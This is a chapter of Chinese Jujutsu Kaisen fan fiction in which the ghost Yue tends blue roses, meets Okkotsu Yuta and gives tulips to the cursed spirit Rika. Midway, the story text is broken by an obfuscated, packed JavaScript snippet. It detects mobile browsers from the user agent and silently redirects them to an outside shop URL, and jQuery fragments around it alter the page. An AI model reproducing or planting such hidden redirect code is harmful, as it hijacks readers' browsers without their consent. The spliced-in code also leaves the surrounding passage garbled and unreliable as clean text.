19. 第 19 章 诅咒女王

作品:《[咒回]被分尸后成为背后灵

    第19章


    从监察医务院出来后,清晨的凉意似乎更重了些。


    月跟着五条悟乘车返回咒术高专,车厢内依旧是一片沉静,只是那份压抑感比来时淡了几分,取而代之的是一种难以言说的空落。


    她靠在车窗上,灵体的指尖无意识地划过冰凉的玻璃,脑海里反复回响着松本健一与中介人的争执,还有那些关于自己死因的荒唐定论,眼底的冷意渐渐褪去,只剩下挥之不去的低落。


    五条悟坐在身旁,偶尔会说一两句无关紧要的闲话,试图打破这份沉寂,可月只是偶尔点头回应,心思早已飘远。


    直到车辆驶入咒术高专的校门,看到熟悉的绿植与古朴的建筑,她紧绷的神经才稍稍松弛了些许。


    这里没有消毒水的刺鼻气息,没有冰冷的停尸间,只有草木的清香与淡淡的咒力波动,莫名让人觉得安心。


    “我得去上课了,你自己随便逛逛,要是闷得慌,就去花坛那边待着,前几天种下的花长得还不错。”


    五条悟停好车,转头看向月,语气恢复了往日的轻松,眼底却藏着一丝不易察觉的关切。


    月轻轻点头,声音平淡无波:“好。”


    五条悟没再多说,摆了摆手便转身朝着教学楼的方向走去,雪白的发丝在晨光中划出轻快的弧线。


    月站在原地看了他的背影片刻,才缓缓转身,朝着记忆中的花坛走去。


    她此刻确实需要一个安静的地方梳理情绪,而花草的生机,或许能稍稍驱散心底的阴霾。


    高专的这片花坛,经过月前几天亲手打理,如今再走近,早已不复当初的荒芜。


    各色花卉长势喜人,透着蓬勃的生机。


    最惹眼的是那一片蓝色玫瑰,花瓣色泽浓郁,如同浸染了深海的静谧,在晨光中舒展着娇艳的姿态,开得热烈而绚烂。


    这是她这些天来,不断用自身灵体能量催动枝叶生长的成果。


    除此之外,之前种下的桔梗、矢车菊与郁金香,也都纷纷冒出了花苞,鼓鼓囊囊的,裹着淡淡的粉、紫与奶白,再过不久便能尽数绽放。


    微风拂过,花枝轻轻摇曳,花香裹挟着泥土的清新气息弥漫开来,让人心情不自觉地舒缓下来。


    月走到花坛边,灵体的指尖穿过翠绿的枝叶,轻轻触碰着蓝色玫瑰柔软的花瓣。


    指尖传来的温润触感格外真实,仿佛能感受到花草的呼吸与脉动。


    她蹲下身,目光落在那些饱满的花苞上,指尖微微用力,一丝微弱的灵体能量缓缓注入花枝,花苞似乎又饱满了几分。


    她就这样静静地待着,借着催生花草排解内心的烦闷,看着自己亲手培育的生命一点点绽放,心底的低落也消散了几分。


    不知过了多久,一阵脚步声从身后传来,打破了这份宁静。


    “你好,请问你是新来的吗?”一道温和的男声响起,带着几分好奇与拘谨。


    月缓缓转过身,只见一名身着白色高专制服的少年站在不远处,身形挺拔,面容清秀,眼神温和,带着几分腼腆。


    他显然是刚外出归来,肩上还背着一个简单的背包,额角带着细密的薄汗,却依旧难掩身上干净清爽的气质。


    “嗯。”月轻轻应了一声,目光平静地看着他。


    少年连忙走上前,有些不好意思地笑了笑,主动自我介绍道:“我叫乙骨忧太,是这里的学生。我之前没见过你,所以有点好奇。”


    他的语气真诚,态度谦逊,让人很难产生距离感。


    “月。”她简洁地报上自己的名字,语气依旧平淡,却没有了之前的冰冷。


    乙骨忧太点点头,正想再说些什么,身后突然泛起一阵浓郁到近乎粘稠的咒力波动。


    紧接着,一个巨大的身影从他身后缓缓浮现,瞬间占据了大半片视野。


    身躯格外壮硕,四肢如同覆盖着坚硬角质的恶魔肢体,手脚边缘还萦绕着如同鲜血般流淌的咒力。


    她的上半张脸被一团扭曲的□□组织遮挡,只露出下半张布满尖利獠牙的大嘴,胸口明显凹陷下去,能清晰看到凸起的肋骨轮廓。


    此刻正面对着前方,周身散发着让人窒息的压迫感,正是那名被称作“诅咒女王”的特级过咒怨灵。


    月的目光微微一凝,下意识地屏住了呼吸。


    乙骨忧太脸色骤变,惊恐地看着身后的里香,心脏瞬间提到了嗓子眼。


    他以为里香又要失控伤人,连忙朝着咒人厉声喊道:“里香!快回去!不许过来!”


    他的声音带着几分急切与慌乱,语气格外严厉,甚至透着一丝不易察觉的恐惧。


    然而,那名为祈本里香的咒灵并没有停下脚步,反而径直朝着月扑了过来。


    乙骨忧太吓得脸色发白,正想上前阻拦,却见里香猛地停在月的面前,伸出粗壮却意外轻柔的手臂,轻轻抱住了她的身体。


    她的动作与那狰狞的外形截然不同,没有丝毫攻击性,嘴里还含糊不清地嘶吼着:“花...花花...”


    乙骨忧太愣在原地,脸上满是错愕,显然没料到会是这样的结果。


    月也微微一怔,感受到怀里咒灵传来的微弱温度,还有那份透过狰狞外表传递出的纯粹渴望,心里软的一塌糊涂。


    她低头看向怀里的里香,看着那团扭曲□□下隐约透出的委屈,心中涌起一股莫名的心疼。


    她抬手,轻轻摸了摸里香粗糙的手臂,语气放柔了几分:“你想要花,对吗?”


    里香似乎听懂了她的话,用力点了点头,面色有些狰狞,嘶吼声变得更加急切,依旧重复着“花...花花”的字眼。


    月看着花坛里开得正盛的各色花朵,目光柔和了几分。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976466|193516||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    她站起身,走到郁金香花丛旁,小心翼翼地摘下几支花苞最饱满、色泽最鲜亮的,转身递到里香面前:“给你。”


    里香立刻松开抱着月的手臂,用粗壮的手指笨拙地接过郁金香,生怕不小心弄坏了花瓣,动作里满是珍惜。


    她低头看着怀里娇嫩的花朵,嘴里发出愉悦的呜咽声,紧接着,竟抱着花在原地轻轻转起了圈圈。


    巨大的身影在阳光下晃动,狰狞的外形与此刻的活泼欢喜形成了强烈的反差,透着难得的柔软。


    看着里香开心的模样,月的眼底闪过一丝动容。


    恍惚间,她的脑海中浮现出一个模糊的画面:一个黑色短发的小姑娘,有着圆圆的黑色大眼睛,肉嘟嘟的小脸,脸上还带着未褪去的婴儿肥,笑容明媚得像阳光一样。


    小姑娘手里拿着一本识字书,笑盈盈地对着身边的人说:“没关系的,我来教你认字啊。”


    那个画面格外清晰,仿佛就在昨天发生的一样。


    月的心脏微微一疼,看着眼前被咒力包裹、只能用嘶吼表达渴望的里香,心中满是心疼。


    曾经那样明媚甜美的小姑娘,如今怎么会变成这副狰狞可怖的模样?


    她到底经历了什么,才会被困在特级过咒怨灵的形态里,失去了清晰的意识与表达的能力,只能靠着本能行动?


    难道又跟眼前这小子有关?


    这份心疼渐渐转化为一丝怒气,她转头看向一旁依旧愣在原地的乙骨忧太,语气带着几分不易察觉的斥责:“你为什么要对她这么凶?她只是想要一朵花而已,又没有伤害别人,你怎么能这样对待女孩子说话?”


    乙骨忧太被她问得一怔,脸上的错愕渐渐褪去,取而代之的是满满的惭愧与自责。


    他低下头,双手紧紧攥着衣角,声音带着几分沙哑:“对不起,我...我以为她要伤害你,所以才会那么大声。我不是故意要凶她的,是我太着急了。”


    他的语气里满是愧疚,既对自己刚才的态度感到后悔,也对里香充满了歉意。


    他抬起头,看向抱着花依旧在转圈的里香,眼底满是温柔与心疼,还有一丝深深的无奈。


    他也不想这样对里香,只是这些年来,里香多次因为保护他而失控伤人,那强大到让人恐惧的力量,让他不得不时刻保持警惕,生怕她再伤害到别人,也怕她因为失控,再次被咒术界的人叫嚷着消灭。


    “对不起,里香,还有月小姐,我刚才不该那么凶的。”乙骨忧太再次道歉,态度诚恳,语气里满是懊悔。


    月看着他愧疚的模样,心中的怒气渐渐消散,只剩下淡淡的无奈。


    她能理解乙骨忧太的担忧,却也心疼里香所受的委屈。


    或许,这对彼此来说,都是一种漫长而痛苦的煎熬吧。等她将眼前的事情了结后,就去处理里香的事。